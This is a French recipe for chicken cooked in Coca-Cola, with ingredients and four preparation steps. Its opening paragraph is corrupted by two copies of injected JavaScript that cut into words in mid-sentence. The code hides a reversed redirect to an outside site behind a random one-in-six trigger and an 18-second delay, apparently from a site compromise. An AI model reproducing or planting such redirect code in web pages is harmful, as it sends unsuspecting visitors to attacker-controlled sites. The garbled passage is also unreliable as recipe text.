Poulet au coca-cola

2017-11-16

Faites revenir dans une cocotte avec le beurre et l’huile sur feu moyen les cuisses de poulet rectobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-verso, salez, poivrez. Incorporez les oignons émincés tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant. Mouillez avec le coca  – cola, ajoutez les 4 épices.

Ingrédients

  • Ingrédients pour 4 personnes
  • 4 cuisses de poulet
  • 4 oignons pelés, émincés.
  • 50 g de beurre
  • 1 cuillère à soupe d'huile de colza
  • 35 cl de coca - cola
  • 1 cuillère à café de 4 épices
  • 2 pincées de curry
  • Sel / Poivre du moulin

Préparation de la recette

Etape 1

Faites revenir dans une cocotte avec le beurre et l'huile sur feu moyen les cuisses de poulet recto-verso, salez, poivrez.

Etape 2

Incorporez les oignons émincés tout en remuant. Mouillez avec le coca - cola, ajoutez les 4 épices.

Etape 3

Portez à ébullition, puis sur feu doux, faites cuire à couvert pendant 30 minutes.

Etape 4

Vérifiez la cuisson et dégustez avec des pâtes tagliatelles où des pomme de terre vapeur, parsemez de persil plat haché. Dégustez.

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